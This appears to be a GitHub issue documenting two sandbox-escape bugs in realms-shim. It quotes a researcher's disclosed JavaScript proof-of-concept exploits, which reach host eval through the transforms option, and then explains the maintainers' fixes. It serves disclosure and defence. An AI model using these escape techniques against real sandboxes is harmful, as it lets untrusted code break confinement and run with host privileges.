sandbox breach: rewrite transforms about realms-shim

[warner]

On 07-Oct-2019, GitHub user @XmiliaH reported a security bug to [email protected]:

Hey,

just found another breakout:

const compartment = Realm.makeCompartment();
let HostObject;
try {
     compartment.evaluate('', undefined, {transforms: [{
         rewrite(leaked) {
             // Here we get the HostObject.
             HostObject = leaked.constructor;
             throw ''; // goto gotHostObject
         }
     }]});
} catch (e) {
     // gotHostObject:
}
// Elevate HostObject access to eval.
const HostArray = HostObject.keys({}).constructor;
let n = 0;
Object.defineProperty(HostArray, Symbol.species, {
     value: function(){
         if (n++ == 1) {
             return {
                 get length() {
                     this["0"] = 'x}=this;return ()=>eval;//';
                     return 1;
                 }
             };
         }
         return [];
     }
});
const Eval = Realm.makeRootRealm().evaluate('');
Eval

The problem is that the rewrite transformer gets called with a host object.

Regards,
Xmili

[warner]

The following day, @XmiliaH sent:

There is another way out:

let HostFunction;
class BadArray extends Array {
	reduce(leaked) {
		// Leak happens here,
		// but also concat will concat
		// this with a transformer of the host
		// that could just be read.
		// But like this it's easier.
		HostFunction = leaked.constructor;
		throw ''; // goto gotHostFunction
	}	
}
const compartment = Realm.makeCompartment();
try{
	compartment.evaluate('', undefined, {transforms: new BadArray()});
} catch (e) {
	// gotHostFunction:
}
const HostObject = HostFunction.__proto__.__proto__.constructor
// Eleveate HostObject see first issue

Problem is that your uncurried concat will use the first parameter as this which is the BadArray, so the output arraytype can be choosen by me.

[warner]

@jfparadis made the first fix here:

realms-shim/src/transforms.js

Line 37 in 6184c7a

export const applyTransformsString = safeStringifyFunction(applyTransforms);

and here:

realms-shim/src/evaluators.js

Line 78 in 6184c7a

const applyTransforms = unsafeEval(applyTransformsString);

This takes the function which applies the transforms and turns it into a string, then evaluates that string inside the target Realm. This ensures that all the primordials it uses (like Array) are coming from the Realm that's going to evaluate the code being transformed.

[warner]

The second fix is here:

realms-shim/src/transforms.js

Line 7 in 6184c7a

const arrayReduce = uncurryThis(Array.prototype.reduce);

and here:

realms-shim/src/transforms.js

Lines 19 to 23 in 6184c7a

	rewriterState = arrayReduce(
	transforms,
	(rs, transform) => (transform.rewrite ? transform.rewrite(rs) : rs),
	rewriterState
	);

This captures the real Array.reduce early, before the transform code has a chance to modify it, and uses the captured version instead of transform.reduce (which would perform a new lookup on Array.prototype, possibly getting a modified version).

[warner]

That's all the detail I could get from the security advisory discussion, so I'll close this now. If I can glean more information from the actual code changes, I'll add it here later.